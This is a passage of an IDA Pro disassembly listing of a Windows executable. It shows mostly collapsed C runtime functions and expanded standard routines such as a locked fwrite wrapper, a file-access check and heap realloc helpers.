PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000004D BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000181 BYTES: COLLAPSED FUNCTION _time. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000D0 BYTES: COLLAPSED FUNCTION __strcmpi. PRESS KEYPAD "+" TO EXPAND] ; [0000006A BYTES: COLLAPSED FUNCTION _fseek. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000127 BYTES: COLLAPSED FUNCTION __fseek_lk. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000034 BYTES: COLLAPSED FUNCTION __allmul. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421FE0(void *Str,size_t Size,size_t Count,FILE *File) sub_421FE0 proc near ; CODE XREF: sub_416D5D+127p ; .text:0041C355p ... var_4 = dword ptr -4 Str = dword ptr 8 Size = dword ptr 0Ch Count = dword ptr 10h File = dword ptr 14h push ebp mov ebp, esp push ecx mov eax, [ebp+File] push eax call __lock_file add esp, 4 mov ecx, [ebp+File] push ecx ; File mov edx, [ebp+Count] push edx ; Count mov eax, [ebp+Size] push eax ; Size mov ecx, [ebp+Str] push ecx ; Str call _fwrite add esp, 10h mov [ebp+var_4], eax mov edx, [ebp+File] push edx call __unlock_file add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_421FE0 endp ; --------------------------------------------------------------------------- align 10h ; [00000219 BYTES: COLLAPSED FUNCTION _fwrite. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422240 proc near ; CODE XREF: sub_4174A9+8p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push eax call ds:dword_4F63A0 ; GetFileAttributesA mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_42226B call ds:dword_4F6394 ; RtlGetLastWin32Error push eax call __dosmaperr add esp, 4 or eax, 0FFFFFFFFh jmp short loc_42229C ; --------------------------------------------------------------------------- loc_42226B: ; CODE XREF: sub_422240+15j mov ecx, [ebp+var_4] and ecx, 1 test ecx, ecx jz short loc_42229A mov edx, [ebp+arg_4] and edx, 2 test edx, edx jz short loc_42229A call __errno mov dword ptr [eax], 0Dh call ___doserrno mov dword ptr [eax], 5 or eax, 0FFFFFFFFh jmp short loc_42229C ; --------------------------------------------------------------------------- loc_42229A: ; CODE XREF: sub_422240+33j ; sub_422240+3Dj xor eax, eax loc_42229C: ; CODE XREF: sub_422240+29j ; sub_422240+58j mov esp, ebp pop ebp retn sub_422240 endp ; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000075 BYTES: COLLAPSED FUNCTION __aullrem. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000AA BYTES: COLLAPSED FUNCTION __alldiv. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000001BF BYTES: COLLAPSED FUNCTION __strupr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000041 BYTES: COLLAPSED FUNCTION _isalpha. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003C BYTES: COLLAPSED FUNCTION _isupper. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003C BYTES: COLLAPSED FUNCTION _islower. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003C BYTES: COLLAPSED FUNCTION _isdigit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000041 BYTES: COLLAPSED FUNCTION _isxdigit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003C BYTES: COLLAPSED FUNCTION _isspace. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003C BYTES: COLLAPSED FUNCTION _ispunct. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000041 BYTES: COLLAPSED FUNCTION _isalnum. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000041 BYTES: COLLAPSED FUNCTION _isprint. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000041 BYTES: COLLAPSED FUNCTION _isgraph. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003C BYTES: COLLAPSED FUNCTION _iscntrl. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000010 BYTES: COLLAPSED FUNCTION ___isascii. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION ___toascii. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000005F BYTES: COLLAPSED FUNCTION ___iscsymf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000005F BYTES: COLLAPSED FUNCTION ___iscsym. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000AC BYTES: COLLAPSED FUNCTION _memcmp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000000B BYTES: COLLAPSED FUNCTION __tolower. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000093 BYTES: COLLAPSED FUNCTION _tolower. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000012B BYTES: COLLAPSED FUNCTION _tolower_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000030 BYTES: COLLAPSED FUNCTION _wcslen. PRESS KEYPAD "+" TO EXPAND] ; [0000007A BYTES: COLLAPSED FUNCTION _mbstowcs. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000001EB BYTES: COLLAPSED FUNCTION __mbstowcs_lk. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000132 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_423052 proc near ; DATA XREF: .rdata:0043DDE4o mov ecx, [ebp-14h] mov edx, [ecx] mov eax, [edx] mov [ebp-68h], eax mov ecx, [ebp-14h] push ecx mov edx, [ebp-68h] push edx call __XcptFilter add esp, 8 retn sub_423052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42306D proc near ; DATA XREF: .rdata:0043DDE8o mov esp, [ebp-18h] mov eax, [ebp-68h] push eax ; Code call __exit sub_42306D endp ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [00000028 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD "+" TO EXPAND] add esp, 4 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [0000002A BYTES: COLLAPSED FUNCTION _fast_error_exit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000012C BYTES: COLLAPSED FUNCTION ___initstdio. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001A BYTES: COLLAPSED FUNCTION ___endstdio. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003D BYTES: COLLAPSED FUNCTION __lock_file. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000029 BYTES: COLLAPSED FUNCTION __lock_file2. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003D BYTES: COLLAPSED FUNCTION __unlock_file. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000029 BYTES: COLLAPSED FUNCTION __unlock_file2. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423320 proc near ; CODE XREF: __CrtDbgReport+113p ; _CrtMessageWindow+33p push ebp mov ebp, esp call ds:dword_4F64CC ; DebugBreak pop ebp retn sub_423320 endp ; --------------------------------------------------------------------------- align 10h ; [00000057 BYTES: COLLAPSED FUNCTION __CrtSetReportMode. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000007E BYTES: COLLAPSED FUNCTION __CrtSetReportFile. PRESS KEYPAD "+" TO EXPAND] align 10h push ebp mov ebp, esp push ecx mov eax, dword_4F4E90 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_4F4E90, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [00000390 BYTES: COLLAPSED FUNCTION __CrtDbgReport. PRESS KEYPAD "+" TO EXPAND] ; [0000030C BYTES: COLLAPSED FUNCTION _CrtMessageWindow. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000007A BYTES: COLLAPSED FUNCTION __close. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000AA BYTES: COLLAPSED FUNCTION __close_lk. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000092 BYTES: COLLAPSED FUNCTION __freebuf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000044 BYTES: COLLAPSED FUNCTION _fflush. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000041 BYTES: COLLAPSED FUNCTION __fflush_lk. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000B7 BYTES: COLLAPSED FUNCTION __flush. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000000F BYTES: COLLAPSED FUNCTION __flushall. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000013F BYTES: COLLAPSED FUNCTION _flsall. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000030 BYTES: COLLAPSED FUNCTION _set_new_handler(int (*)(uint)). PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, dword_4F47F8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [0000002D BYTES: COLLAPSED FUNCTION __callnewh. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000037 BYTES: COLLAPSED FUNCTION __mtinitlocks. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000009F BYTES: COLLAPSED FUNCTION __mtdeletelocks. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000097 BYTES: COLLAPSED FUNCTION __lock. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000016 BYTES: COLLAPSED FUNCTION __unlock. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001C BYTES: COLLAPSED FUNCTION __lockerr_exit. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_3. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- unknown_libname_4: ; Microsoft VisualC 2-8/net runtime push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call __local_unwind2 add esp, 8 pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; [00000020 BYTES: COLLAPSED FUNCTION __malloc_base. PRESS KEYPAD "+" TO EXPAND] ; [00000057 BYTES: COLLAPSED FUNCTION __nh_malloc_base. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000065 BYTES: COLLAPSED FUNCTION __heap_alloc_base. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION sub_424345. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000077 BYTES: COLLAPSED CHUNK OF FUNCTION __heap_alloc_base. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4243C7 proc near ; CODE XREF: __heap_alloc_base+E0p ; DATA XREF: .rdata:0043E054o push 9 call __unlock add esp, 4 retn sub_4243C7 endp ; --------------------------------------------------------------------------- ; [0000005B BYTES: COLLAPSED CHUNK OF FUNCTION __heap_alloc_base. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000000A BYTES: COLLAPSED FUNCTION unknown_libname_5. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424440 proc near ; CODE XREF: _realloc_help+2D4p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 004244EC SIZE 000000EE BYTES ; FUNCTION CHUNK AT 004245E5 SIZE 00000068 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43E058 push offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE0h push ebx push esi push edi cmp [ebp+arg_4], 0FFFFFFE0h jbe short loc_424470 xor eax, eax jmp loc_42463C ; --------------------------------------------------------------------------- loc_424470: ; CODE XREF: sub_424440+27j cmp dword_4F4E6C, 3 jnz loc_424528 push 9 call __lock add esp, 4 mov [ebp+var_4], 0 mov eax, [ebp+arg_0] push eax call ___sbh_find_block add esp, 4 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_4244D3 mov [ebp+var_1C], 0 mov ecx, [ebp+arg_4] cmp ecx, dword_4F4E8C ja short loc_4244D3 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_20] push ecx call ___sbh_resize_block add esp, 0Ch test eax, eax jz short loc_4244D3 mov edx, [ebp+arg_0] mov [ebp+var_1C], edx loc_4244D3: ; CODE XREF: sub_424440+61j ; sub_424440+73j ... mov [ebp+var_4], 0FFFFFFFFh call sub_4244E1 jmp short loc_4244EC sub_424440 endp ; =============== S U B R O U T I N E ======================================= sub_4244E1 proc near ; CODE XREF: sub_424440+9Ap ; DATA XREF: .rdata:0043E060o push 9 call __unlock add esp, 4 retn sub_4244E1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424440 loc_4244EC: ; CODE XREF: sub_424440+9Fj cmp [ebp+var_20], 0 jnz short loc_424523 cmp [ebp+arg_4], 0 jnz short loc_4244FF mov [ebp+arg_4], 1 loc_4244FF: ; CODE XREF: sub_424440+B6j mov eax, [ebp+arg_4] add eax, 0Fh and al, 0F0h mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx push 10h mov eax, dword_4F4E68 push eax call ds:dword_4F64E0 ; RtlReAllocateHeap mov [ebp+var_1C], eax loc_424523: ; CODE XREF: sub_424440+B0j jmp loc_424639 ; --------------------------------------------------------------------------- loc_424528: ; CODE XREF: sub_424440+37j cmp dword_4F4E6C, 2 jnz loc_424606 cmp [ebp+arg_4], 0 jnz short loc_424542 mov [ebp+arg_4], 1 loc_424542: ; CODE XREF: sub_424440+F9j mov ecx, [ebp+arg_4] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+arg_4], ecx push 9 call __lock add esp, 4 mov [ebp+var_4], 1 lea edx, [ebp+var_24] push edx lea eax, [ebp+var_2C] push eax mov ecx, [ebp+arg_0] push ecx call ___sbh_find_block_0 add esp, 0Ch mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz short loc_4245CC mov [ebp+var_1C], 0 mov edx, [ebp+arg_4] cmp edx, dword_454DFC ja short loc_4245B3 mov eax, [ebp+arg_4] shr eax, 4 push eax mov ecx, [ebp+var_28] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+var_2C] push eax call ___sbh_resize_block_0 add esp, 10h test eax, eax jz short loc_4245B3 mov ecx, [ebp+arg_0] mov [ebp+var_1C], ecx loc_4245B3: ; CODE XREF: sub_424440+14Cj ; sub_424440+16Bj push 0FFFFFFFFh mov edx, [ebp+var_1C] mov [ebp+var_30], edx lea eax, [ebp+var_10] push eax call __local_unwind2 add esp, 8 mov eax, [ebp+var_30] jmp short loc_42463C ; --------------------------------------------------------------------------- loc_4245CC: ; CODE XREF: sub_424440+13Aj mov [ebp+var_4], 0FFFFFFFFh call sub_4245DA jmp short loc_4245E5 ; END OF FUNCTION CHUNK FOR sub_424440 ; =============== S U B R O U T I N E ======================================= sub_4245DA proc near ; CODE XREF: sub_424440+193p ; DATA XREF: .rdata:0043E06Co push 9 call __unlock add esp, 4 retn sub_4245DA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424440 loc_4245E5: ; CODE XREF: sub_424440+198j cmp [ebp+var_28], 0 jnz short loc_424604 mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx push 10h mov eax, dword_4F4E68 push eax call ds:dword_4F64E0 ; RtlReAllocateHeap mov [ebp+var_1C], eax loc_424604: ; CODE XREF: sub_424440+1A9j jmp short loc_424639 ; --------------------------------------------------------------------------- loc_424606: ; CODE XREF: sub_424440+EFj cmp [ebp+arg_4], 0 jnz short loc_424613 mov [ebp+arg_4], 1 loc_424613: ; CODE XREF: sub_424440+1CAj mov ecx, [ebp+arg_4] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax push 10h mov ecx, dword_4F4E68 push ecx call ds:dword_4F64E0 ; RtlReAllocateHeap mov [ebp+var_1C], eax loc_424639: ; CODE XREF: sub_424440:loc_424523j ; sub_424440:loc_424604j mov eax, [ebp+var_1C] loc_42463C: ; CODE XREF: sub_424440+2Bj ; sub_424440+18Aj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_424440 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_424650(void *Src,int) sub_424650 proc near ; CODE XREF: _realloc_help+2AFp var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h Size = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h Dst = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 Src = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00424823 SIZE 0000020C BYTES ; FUNCTION CHUNK AT 00424A3A SIZE 000000A9 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43E070 push offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFC8h push ebx push esi push edi mov eax, [ebp+arg_4] mov [ebp+var_1C], eax cmp [ebp+Src], 0 jnz short loc_424690 mov ecx, [ebp+arg_4] push ecx call __malloc_base add esp, 4 jmp loc_424AD2 ; --------------------------------------------------------------------------- loc_424690: ; CODE XREF: sub_424650+2Dj cmp [ebp+arg_4], 0 jnz short loc_4246A9 mov edx, [ebp+Src] push edx call sub_424AF0 add esp, 4 xor eax, eax jmp loc_424AD2 ; --------------------------------------------------------------------------- loc_4246A9: ; CODE XREF: sub_424650+44j cmp dword_4F4E6C, 3 jnz loc_42488F loc_4246B6: ; CODE XREF: sub_424650:loc_42488Aj mov [ebp+Dst], 0 cmp [ebp+arg_4], 0FFFFFFE0h ja loc_42485C push 9 call __lock add esp, 4 mov [ebp+var_4], 0 mov eax, [ebp+Src] push eax call ___sbh_find_block add esp, 4 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz loc_42480A mov ecx, [ebp+arg_4] cmp ecx, dword_4F4E8C ja loc_42478A mov edx, [ebp+arg_4] push edx mov eax, [ebp+Src] push eax mov ecx, [ebp+var_28] push ecx call ___sbh_resize_block add esp, 0Ch test eax, eax jz short loc_424720 mov edx, [ebp+Src] mov [ebp+Dst], edx jmp short loc_42478A ; --------------------------------------------------------------------------- loc_424720: ; CODE XREF: sub_424650+C6j mov eax, [ebp+arg_4] push eax call ___sbh_alloc_block add esp, 4 mov [ebp+Dst], eax cmp [ebp+Dst], 0 jz short loc_42478A mov ecx, [ebp+Src] mov edx, [ecx-4] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+var_20] cmp eax, [ebp+arg_4] jnb short loc_424751 mov ecx, [ebp+var_20] mov [ebp+Size], ecx jmp short loc_424757 ; --------------------------------------------------------------------------- loc_424751: ; CODE XREF: sub_424650+F7j mov edx, [ebp+arg_4] mov [ebp+Size], edx loc_424757: ; CODE XREF: sub_424650+FFj mov eax, [ebp+Size] push eax ; Size mov ecx, [ebp+Src] push ecx ; Src mov edx, [ebp+Dst] push edx ; Dst call _memcpy add esp, 0Ch mov eax, [ebp+Src] push eax call ___sbh_find_block add esp, 4 mov [ebp+var_28], eax mov ecx, [ebp+Src] push ecx mov edx, [ebp+var_28] push edx call sub_424FD0 add esp, 8 loc_42478A: ; CODE XREF: sub_424650+AAj ; sub_424650+CEj ... cmp [ebp+Dst], 0 jnz short loc_42480A cmp [ebp+arg_4], 0 jnz short loc_42479D mov [ebp+arg_4], 1 loc_42479D: ; CODE XREF: sub_424650+144j mov eax, [ebp+arg_4] add eax, 0Fh and al, 0F0h mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] push ecx push 0 mov edx, dword_4F4E68 push edx call ds:dword_4F644C ; RtlAllocateHeap mov [ebp+Dst], eax cmp [ebp+Dst], 0 jz short loc_42480A mov eax, [ebp+Src] mov ecx, [eax-4] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+var_20] cmp edx, [ebp+arg_4] jnb short loc_4247E0 mov eax, [ebp+var_20] mov [ebp+var_40], eax jmp short loc_4247E6 ; --------------------------------------------------------------------------- loc_4247E0: ; CODE XREF: sub_424650+186j mov ecx, [ebp+arg_4] mov [ebp+var_40], ecx loc_4247E6: ; CODE XREF: sub_424650+18Ej mov edx, [ebp+var_40] push edx ; Size mov eax, [ebp+Src] push eax ; Src mov ecx, [ebp+Dst] push ecx ; Dst call _memcpy add esp, 0Ch mov edx, [ebp+Src] push edx mov eax, [ebp+var_28] push eax call sub_424FD0 add esp, 8 loc_42480A: ; CODE XREF: sub_424650+9Bj ; sub_424650+13Ej ... mov [ebp+var_4], 0FFFFFFFFh call sub_424818 jmp short loc_424823 sub_424650 endp ; =============== S U B R O U T I N E ======================================= sub_424818 proc near ; CODE XREF: sub_424650+1C1p ; DATA XREF: .rdata:0043E078o push 9 call __unlock add esp, 4 retn sub_424818 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424650 loc_424823: ; CODE XREF: sub_424650+1C6j cmp [ebp+var_28], 0 jnz short loc_42485C cmp [ebp+arg_4], 0 jnz short loc_424836 mov [ebp+arg_4], 1 loc_424836: ; CODE XREF: sub_424650+1DDj mov ecx, [ebp+arg_4] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+Src] push eax push 0 mov ecx, dword_4F4E68 push ecx call ds:dword_4F64E0 ; RtlReAllocateHeap mov [ebp+Dst], eax loc_42485C: ; CODE XREF: sub_424650+71j ; sub_424650+1D7j cmp [ebp+Dst], 0 jnz short loc_42486B cmp dword_4F47F4, 0 jnz short loc_424873 loc_42486B: ; CODE XREF: sub_424650+210j mov eax, [ebp+Dst] jmp loc_424AD2 ; --------------------------------------------------------------------------- loc_424873: ; CODE XREF: sub_424650+219j mov edx, [ebp+arg_4] push edx call __callnewh add esp, 4 test eax, eax jnz short loc_42488A xor eax, eax jmp loc_424AD2 ; --------------------------------------------------------------------------- loc_42488A: ; CODE XREF: sub_424650+231j jmp loc_4246B6 ; --------------------------------------------------------------------------- loc_42488F: ; CODE XREF: sub_424650+60j cmp dword_4F4E6C, 2 jnz loc_424A6A cmp [ebp+arg_4], 0FFFFFFE0h ja short loc_4248BC cmp [ebp+arg_4], 0 jbe short loc_4248B5 mov eax, [ebp+arg_4] add eax, 0Fh and al, 0F0h mov [ebp+arg_4], eax jmp short loc_4248BC ; --------------------------------------------------------------------------- loc_4248B5: ; CODE XREF: sub_424650+256j mov [ebp+arg_4], 10h loc_4248BC: ; CODE XREF: sub_424650+250j ; sub_424650+263j ... mov [ebp+Dst], 0 cmp [ebp+arg_4], 0FFFFFFE0h ja loc_424A3A push 9 call __lock add esp, 4 mov [ebp+var_4], 1 lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_38] push edx mov eax, [ebp+Src] push eax call ___sbh_find_block_0 add esp, 0Ch mov [ebp+var_30], eax cmp [ebp+var_30], 0 jz loc_424A07 mov ecx, [ebp+arg_4] cmp ecx, dword_454DFC jnb loc_424998 mov edx, [ebp+arg_4] shr edx, 4 push edx mov eax, [ebp+var_30] push eax mov ecx, [ebp+var_2C] push ecx mov edx, [ebp+var_38] push edx call ___sbh_resize_block_0 add esp, 10h test eax, eax jz short loc_424935 mov eax, [ebp+Src] mov [ebp+Dst], eax jmp short loc_424998 ; --------------------------------------------------------------------------- loc_424935: ; CODE XREF: sub_424650+2DBj mov ecx, [ebp+arg_4] shr ecx, 4 push ecx call ___sbh_alloc_block_0 add esp, 4 mov [ebp+Dst], eax cmp [ebp+Dst], 0 jz short loc_424998 mov edx, [ebp+var_30] xor eax, eax mov al, [edx] shl eax, 4 mov [ebp+var_34], eax mov ecx, [ebp+var_34] cmp ecx, [ebp+arg_4] jnb short loc_42496A mov edx, [ebp+var_34] mov [ebp+var_44], edx jmp short loc_424970 ; --------------------------------------------------------------------------- loc_42496A: ; CODE XREF: sub_424650+310j mov eax, [ebp+arg_4] mov [ebp+var_44], eax loc_424970: ; CODE XREF: sub_424650+318j mov ecx, [ebp+var_44] push ecx ; Size mov edx, [ebp+Src] push edx ; Src mov eax, [ebp+Dst] push eax ; Dst call _memcpy add esp, 0Ch mov ecx, [ebp+var_30] push ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+var_38] push eax call ___sbh_free_block add esp, 0Ch loc_424998: ; CODE XREF: sub_424650+2B8j ; sub_424650+2E3j ... cmp [ebp+Dst], 0 jnz short loc_424A05 mov ecx, [ebp+arg_4] push ecx push 0 mov edx, dword_4F4E68 push edx call ds:dword_4F644C ; RtlAllocateHeap mov [ebp+Dst], eax cmp [ebp+Dst], 0 jz short loc_424A05 mov eax, [ebp+var_30] xor ecx, ecx mov cl, [eax] shl ecx, 4 mov [ebp+var_34], ecx mov edx, [ebp+var_34] cmp edx, [ebp+arg_4] jnb short loc_4249D7 mov eax, [ebp+var_34] mov [ebp+var_48], eax jmp short loc_4249DD ; --------------------------------------------------------------------------- loc_4249D7: ; CODE XREF: sub_424650+37Dj mov ecx, [ebp+arg_4] mov [ebp+var_48], ecx loc_4249DD: ; CODE XREF: sub_424650+385j mov edx, [ebp+var_48] push edx ; Size mov eax, [ebp+Src] push eax ; Src mov ecx, [ebp+Dst] push ecx ; Dst call _memcpy add esp, 0Ch mov edx, [ebp+var_30] push edx mov eax, [ebp+var_2C] push eax mov ecx, [ebp+var_38] push ecx call ___sbh_free_block add esp, 0Ch loc_424A05: ; CODE XREF: sub_424650+34Cj ; sub_424650+368j jmp short loc_424A21 ; --------------------------------------------------------------------------- loc_424A07: ; CODE XREF: sub_424650+2A9j mov edx, [ebp+arg_4] push edx mov eax, [ebp+Src] push eax push 0 mov ecx, dword_4F4E68 push ecx call ds:dword_4F64E0 ; RtlReAllocateHeap mov [ebp+Dst], eax loc_424A21: ; CODE XREF: sub_424650:loc_424A05j mov [ebp+var_4], 0FFFFFFFFh call sub_424A2F jmp short loc_424A3A ; END OF FUNCTION CHUNK FOR sub_424650 ; =============== S U B R O U T I N E ======================================= sub_424A2F proc near ; CODE XREF: sub_424650+3D8p ; DATA XREF: .rdata:0043E084o push 9 call __unlock add esp, 4 retn sub_424A2F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424650 loc_424A3A: ; CODE XREF: sub_424650+277j ; sub_424650+3DDj cmp [ebp+Dst], 0 jnz short loc_424A49 cmp dword_4F47F4, 0 jnz short loc_424A51 loc_424A49: ; CODE XREF: sub_424650+3EEj mov eax, [ebp+Dst] jmp loc_424AD2 ; --------------------------------------------------------------------------- loc_424A51: ; CODE XREF: sub_424650+3F7j mov edx, [ebp+arg_4] push edx call __callnewh add esp, 4 test eax, eax jnz short loc_424A65 xor eax, eax jmp short loc_424AD2 ; --------------------------------------------------------------------------- loc_424A65: ; CODE XREF: sub_424650+40Fj jmp loc_4248BC ; --------------------------------------------------------------------------- loc_424A6A: ; CODE XREF: sub_424650+246j ; sub_424650:loc_424AD0j mov [ebp+Dst], 0 cmp [ebp+arg_4], 0FFFFFFE0h ja short loc_424AA8 cmp [ebp+arg_4], 0 jnz short loc_424A84 mov [ebp+arg_4], 1 loc_424A84: ; CODE XREF: sub_424650+42Bj mov eax, [ebp+arg_4] add eax, 0Fh and al, 0F0h mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+Src] push edx push 0 mov eax, dword_4F4E68 push eax call ds:dword_4F64E0 ; RtlReAllocateHeap mov [ebp+Dst], eax loc_424AA8: ; CODE XREF: sub_424650+425j cmp [ebp+Dst], 0 jnz short loc_424AB7 cmp dword_4F47F4, 0 jnz short loc_424ABC loc_424AB7: ; CODE XREF: sub_424650+45Cj mov eax, [ebp+Dst] jmp short loc_424AD2 ; --------------------------------------------------------------------------- loc_424ABC: ; CODE XREF: sub_424650+465j mov ecx, [ebp+arg_4] push ecx call __callnewh add esp, 4 test eax, eax jnz short loc_424AD0 xor eax, eax jmp short loc_424AD2 ; --------------------------------------------------------------------------- loc_424AD0: ; CODE XREF: sub_424650+47Aj jmp short loc_424A6A ; --------------------------------------------------------------------------- loc_424AD2: ; CODE XREF: sub_424650+3Bj ; sub_424650+54j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_424650 